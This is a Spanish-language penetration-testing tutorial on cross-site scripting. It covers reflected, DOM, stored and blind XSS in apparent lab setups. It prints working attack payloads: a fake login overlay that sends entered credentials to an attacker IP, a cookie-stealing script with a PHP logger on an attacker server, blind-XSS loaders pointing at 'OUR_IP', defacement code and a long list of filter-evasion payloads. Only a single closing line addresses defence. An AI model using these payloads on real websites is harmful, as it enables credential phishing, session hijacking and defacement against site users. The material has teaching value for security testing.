16 minuto(s) estimado(s) de lectura
Cross Site Scripting (XSS)
Secuencias de comandos en sitios cruzados
Es una vulnerabilidad que permite a un atacante controlar parte del contenido de una aplicación web, al explotar un XSS, el atacante puede realizar algunas de las siguientes opciones:
- Modificar contenido de el sitio.
- Inyectar contenido malicioso.
- Robar cookies de sesión.
- Realizar acciones en la aplicación web como si fuera un usuario legítimo.
- Entre otros.
Las vulnerabilidades XSS se producen cuando una aplicación web utiliza entradas de usuario no filtradas para construir el contenido de salida que se muestra a sus usuarios finales; esto permite a un atacante controlar el código HTML y JavaScript de salida, en donde la entrada de uso es cualquier parámetro procedente del lado del cliente de la aplicación web como por ejemplo:
- La peticiones en las cabeceras.
- Las cookies.
- Entradas de un formulario.
- Parámetros POST y GET.
Identificación de Vulnerabilidad
La forma más simple de verificar un Cross Site Scripting es por medio de la siguiente inyección:
<script>alert('XSS')</script>
En aplicaciones web modernas, a veces se usan IFrames (ventanas incrustadas en una página web) para manejar la entrada de los usuarios. Estos IFrames pueden pertenecer a un dominio diferente al de la página principal. Si hay una vulnerabilidad XSS (Cross-Site Scripting) en el formulario dentro del IFrame, no necesariamente significa que la página web principal también sea vulnerable, ya que el IFrame está separado y aislado.
<script>alert(window.origin)</script>
Al realizar una prueba de XSS, si usas window.origin
en el mensaje de alerta en lugar de un valor fijo como “1” o “XSS”, puedes identificar en qué URL o dominio se ejecuta el script. Esto es útil para determinar si el formulario vulnerable está en el IFrame o en la página principal. Si el cuadro de alerta muestra la URL del IFrame, confirma que la vulnerabilidad está ahí y no necesariamente en la página web principal.
Una URL de IFrame se refiere a la dirección web que se carga dentro de un elemento IFrame en una página HTML.
También serviría ocupar la función print() que cuando se ejecuta en un navegador abre el cuadro de diálogo de impresión, que es el mismo que aparecería si seleccionaramos la opción de imprimir desde el menú del navegador.
<script>print()</script>
Otra opción de verificación es por medio de la herramienta xsser
, en donde se usará Burpsuite
para extraer la información necesaria para realizar el ataque:
En la parte en que dice “test”, se reemplaza por “XSS” y ejecutamos xsser
con los siguiente parámetros:
┌──(root㉿kali)-[/XSS]
└─ xsser --url 'http://10.1.1.37/multillidae/index.php?page=dns-lookup.php' -p 'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS'
Y como se aprecia encontró la vulnerabilidad existente en este sitio web:
Otras opciones que se pueden tener en consideración son las siguientes:
Opción | Descripción |
---|---|
–auto | Aplica múltiples payloads para verificar la vulnerabilidad. |
–Fp | Con este parámetro se puede testear un payload propio, ocupando la siguiente forma como ejemplo, --Fp "<script>alert('XSS')</script>" |
Para este caso se habla de un XSS reflejado, pues los ataques reflejados se producen cuando la carga maliciosa se transporta dentro de la solicitud que el navegador de la víctima envía al sitio web vulnerable.
Pueden desencadenarse mediante la publicación de un enlace en una red social o a través de una campaña de phishing. Cuando los usuarios hacen clic en el enlace, desencadenan el ataque.
XSS Reflejado (No Persistente)
Las vulnerabilidades XSS Reflejadas ocurren cuando los datos que introduces en una página web son enviados al servidor y luego devueltos a ti en la página sin ser adecuadamente filtrados o limpiados. Este tipo de vulnerabilidad es común en situaciones donde el servidor utiliza tu entrada para generar una respuesta, como en mensajes de error o confirmación.
Un ejemplo de explotación es el siguiente:
Al recargar la página deberíamos ejecutar otra vez un payload (no se guarda) y para este caso ocuparemos ciertos filtros de URL Encode:
DOM XSS (No Persistente)
El XSS basado en DOM, o Non-Persistent DOM-based XSS, es un tipo de vulnerabilidad de seguridad en aplicaciones web donde el ataque se ejecuta completamente en el lado del cliente, es decir, en el navegador del usuario, a través de JavaScript. A diferencia del XSS Reflejado, que implica enviar datos al servidor y recibir una respuesta, el XSS basado en DOM se centra en manipular el Document Object Model (DOM) de la página web con JavaScript.
Para entender la vulnerabilidad XSS basada en DOM, es crucial comprender dos conceptos clave: “Source” (Fuente) y “Sink” (Destino). Aquí te explico cada uno y cómo se relacionan con XSS:
- Source (Fuente):
- En el contexto de XSS, un “Source” es cualquier objeto de JavaScript que recibe entrada del usuario. Esta entrada puede provenir de varias fuentes, como parámetros de URL, campos de formulario, o cualquier otro medio por el cual los datos ingresados por el usuario lleguen al script de la página.
- Por ejemplo,
location.search
en JavaScript se usa a menudo para leer los parámetros de la URL, y sería considerado un “Source”.
- Sink (Destino):
- Un “Sink” es una función o método que escribe o modifica el contenido del DOM en una página web basándose en la entrada recibida. Si estas funciones no sanan o validan adecuadamente las entradas del usuario antes de usarlas, se vuelven vulnerables a ataques XSS.
- Ejemplos de funciones “Sink” en JavaScript son
document.write()
,innerHTML
, youterHTML
. En bibliotecas como jQuery, funciones comoadd()
,after()
, yappend()
también actúan como “Sinks”.
- Riesgo de Vulnerabilidad:
- Si una función “Sink” escribe directamente la entrada del usuario en el DOM sin sanearla, entonces la página es vulnerable a XSS. Esto se debe a que el script malicioso proporcionado por el usuario se ejecutará en el contexto de la página.
- Aunque algunas funciones como
innerHTML
no permiten la ejecución de etiquetas<script>
directamente como medida de seguridad, aún hay muchas otras maneras de ejecutar scripts maliciosos sin necesidad de usar la etiqueta<script>
. Es decir, se pueden usar eventos comoonmouseover
o modificar otros elementos del DOM para ejecutar código JavaScript. Por ejemplo tenemos el siguiente payload:<img src="" onerror=alert(window.origin)>
Ejemplo (phishing)
En esta situación tenemos una web con una vulnerabilidad XSS, en esta ocasión se probará inyectar un panel de login ocupando innerHTML
, de la siguiente forma:
- Modificar el Contenido del Cuerpo del Documento (
document.body.innerHTML +=
):document.body.innerHTML +=
añade el contenido HTML especificado al final del cuerpo del documento HTML actual.- Esto significa que el HTML proporcionado se insertará en la página sin eliminar el contenido existente.
- Creación de un Elemento
div
con Estilo Específico:- Se crea un nuevo elemento
div
con un estilo que lo hace cubrir toda la pantalla (position: fixed; top: 0; left: 0; width: 100%; height: 100%
). - El fondo semitransparente (
background-color: rgba(0,0,0,0.5)
) da la impresión de una superposición oscura. - El
z-index
muy alto asegura que estediv
esté por encima de todos los otros elementos en la página.
- Se crea un nuevo elemento
- Formulario de Phishing:
- Dentro del
div
, se añade un formulario (<form>
). - Este formulario está estilizado para aparecer en el centro de la pantalla y parece una ventana de inicio de sesión legítima.
- El formulario solicita un nombre de usuario y una contraseña.
- Dentro del
- Acción del Formulario:
- La acción del formulario (
action="http://10.10.14.173:1234"
) indica que los datos ingresados se enviarán a la dirección IP10.10.14.173
en el puerto1234
cuando se envíe el formulario.
- La acción del formulario (
- Elementos de Entrada:
- El formulario contiene dos campos de entrada para el nombre de usuario y la contraseña, y un botón para enviar el formulario.
document.body.innerHTML += '<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5); z-index: 2147483647;"><form action="http://10.10.14.173:1234" method="post" style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 20px; background: white; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.5); z-index: 2147483647; document.getElementById('urlform').remove()"><h2 style="color: black; z-index: 2147483647;">Login</h2><input type="text" name="username" placeholder="Username" style="z-index: 2147483647;"><input type="password" name="password" placeholder="Password" style="z-index: 2147483647;"><input type="submit" value="Login" style="z-index: 2147483647;"></form></div><!--
La víctima ingresará sus credenciales e iniciará sesión:
Una vez se envían los datos, recibimos el usuario y la contraseña por el puerto en el que nos encontramos en escucha:
Otra opción que realice algo parecido pero con la función document.write()
sería el siguiente payload:
document.write('<h3>Please login to continue</h3><form action=http://10.10.14.173:1234><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
En resumen, la vulnerabilidad XSS basada en DOM ocurre cuando los datos ingresados por el usuario (Source) se pasan a través de una función que modifica el DOM (Sink) sin una adecuada limpieza o validación. Esto permite la inyección y ejecución de scripts maliciosos, lo que puede llevar a diversas actividades malintencionadas, como robo de cookies, phishing, o manipulación de contenido web.
Diferencias entre XSS reflejado y DOM XSS
Característica | XSS Reflejado No Persistente | XSS basado en DOM No Persistente |
---|---|---|
Origen de la Vulnerabilidad | En el servidor. | En el cliente. |
Interacción con el Servidor | La entrada del usuario se envía al servidor y se refleja en la respuesta. | No hay interacción con el servidor; la entrada del usuario se procesa en el cliente. |
Ejecución del Script | El script se ejecuta cuando el servidor devuelve la entrada en la respuesta. | El script se ejecuta directamente en el navegador del usuario mediante manipulación del DOM. |
Solicitudes HTTP Visibles | Sí (las solicitudes y respuestas HTTP son visibles en las herramientas del navegador). | No (no se realizan solicitudes HTTP adicionales relacionadas con la vulnerabilidad). |
XSS almacenado (Persistente)
Los ataques XSS persistentes se producen cuando la carga útil se envía al servidor web vulnerable y luego se almacena, es decir, el código malicioso se entrega cada vez que un navegador web accede a la página web inyectada (o recarga la página).
Un ejemplo es el siguiente en que siempre mostrará la cookie de sesión del usuario, las veces que se ingrese a la web:
Y si se recarga la web infectada, seguiremos recibiendo como una respuesta persistente la cookie de sesión:
XSS Robo de Cookie
Tal como se mostró en el ejemplo anterior existe la opción de que por medio de un Cross Site Scripting se roben cookies de sesión, pero para esta situación enviaremos las cookies a un servidor que simule el del atacante, a través del siguiente archivo en php:
<?php
$filename="/tmp/log.txt";
$fp=fopen($filename, 'a');
$cookie=$_GET['q'];
fwrite($fp, $cookie);
fclose($fp);
?>
Luego para poder recibir las cookies nos montamos un servidor con python verificando que en la carpeta en que se inicie se encuentre el archivo log.php
:
┌──(root㉿kali)-[/XSS]
└─ ls
log.php
┌──(root㉿kali)-[/XSS]
└─ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Para este ejemplo inyectaremos el siguiente payload, el cual genera un objeto imagen y apunta su “src” a un script en el servidor del atacante (10.1.1.19):
<script>var i = new Image(); i.src="http://10.1.1.19/log.php?q="+document.cookie;</script>
Y recibimos la cookie en nuestro servidor:
Este se recibirá las veces que se ingrese a la página web atacada:
Blind XSS
El Blind XSS es una variante de los ataques XSS que es más difícil de detectar y explotar que los ataques XSS tradicionales. En un ataque Blind XSS, el script malicioso inyectado no se ejecuta inmediatamente en el sitio web que el atacante está viendo. En cambio, se activa cuando el código malicioso es visto por un usuario diferente, generalmente un usuario interno como un administrador de sistemas o soporte técnico.
Para identificar este tipo de ataques, tenemos los siguientes payloads:
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
En este caso lo probaremos en un formulario de registro en donde para identificar el campo vulnerable le daremos nombres referenciales para visualizarlo de forma más fácil:
"><script src="http://10.10.14.173:1234/name"></script>
"><script src="http://10.10.14.173:1234/username"></script>
"><script src="http://10.10.14.173:1234/password"></script>
"><script src="http://10.10.14.173:1234/profile"></script>
Cuando le damos a “register”, nuestro puerto a la escucha en netcat responde con un GET en el parámetro vulnerable:
Finalmente aplicando las ténicas de robo de cookies vistas anteriormente, nos guardamos en un archivo “script.js” el payload y en otro el “log.php”:
Y aplicando la siguiente inyección:
"><script src="http://10.10.14.173/script.js"></script>
Obtenemos la cookie de sesión:
Desfiguración de página web
El uso de JavaScript inyectado a través de XSS para alterar la apariencia de una página web se conoce como “desfiguración” o defacement. A menudo, el objetivo es dejar un mensaje claro, como un anuncio de “hackeo”. A continuación, se describen las formas de realizar estas modificaciones:
- Cambiar Color de Fondo y Fondo de la Página:
- Cambiar el color de fondo:
document.body.style.background
. - Cambiar la imagen de fondo:
document.body.background
.
- Cambiar el color de fondo:
- Modificar el Título de la Página:
- Cambiar el título:
document.title
. - Ejemplo de código:
<script>document.title = 'Hacked';</script>
- Cambiar el título:
- Cambiar Texto de la Página:
- Modificar texto de un elemento específico:
innerHTML
. - Ejemplo para cambiar contenido de un elemento con ID “todo”:
document.getElementById("todo").innerHTML = "Hacked";
- Con jQuery:
$("#todo").html('Hacked');
- Modificar texto de un elemento específico:
- Modificar Todo el Contenido de la Página:
- Cambiar todo el contenido de la página:
innerHTML
enbody
. - Ejemplo de código:
document.getElementsByTagName('body')[0].innerHTML = "Hacked";
- Usar jQuery si está disponible en la página.
- Cambiar todo el contenido de la página:
Estos métodos permiten la personalización del texto y el estilo de la página para adaptarse a necesidades específicas, generalmente dejando un mensaje simple y directo. La preparación del código HTML por separado y su inyección mediante innerHTML
permite cambios más detallados.
Evasión de filtros
<svg><circle><set onbegin=prompt(1) attributename=fill>
["');alert('XSS');//"]@xyz.xxx
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))</SCRIPT>
%22%3E%3Csvg%20onload%3dalert%26%230000000040%22100%22)%3E
a%22%20accesskey%3d%22x%22%20onclick%3d%22alert(document.domain)%22%20test%3d%22test%3dxss
\u003e\u003cimg src=1 onerror=alert(0)\u003e
<abdool attr=" --- x="=='='onmouseover=confirm`abdool` style="display:block;width:1000px;height:1000px;background:red">
test"><img src=x on0x=1 onerror=alert(/POC/)>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")>
"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//
javaScRipt:Alert(‘1’)
<svg onload=eval(location.hash.slice(1))>
"><svg/onload=alert%26%230000000040"Hacked")>
<iframe src="data:image/svg+xml;base64,CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8aW1hZ2UgaHJlZj0ieCIgb25lcnJvcj0iamF2YXNjcmlwdDphbGVydCgncHduZWQgZXJuYW5zJykiIC8+Cjwvc3ZnPg=="/>
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
test"%20onmouseover="prompt%26%2300000000000000000040;%27XSS%27%26%2300000000000000000041;
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
test@gmail.com%2527%5C%2522%253E%253Csvg%2Fonload%3Dalert%28%2Fxss%2F%29%253E
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:50px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
%09Jav%09ascript:alert(document.domain)
%3CSvg%20Only%3D1%20OnLoad%3Dconfirm(1)%3E
"%3e%3cImG%20sRC=X%20OneRRoR=alert(document.cookie)%20"%3c
xyz"/ng-click="constructor.constructor('alert(1)')()
"><svg+onload=confirm(cookie)>
Recomendación
Todos estos canales de entrada deben ser validados por el servidor mediante funciones de seguridad bien implementadas que deben desinfectar o filtrar la entrada de los usuarios.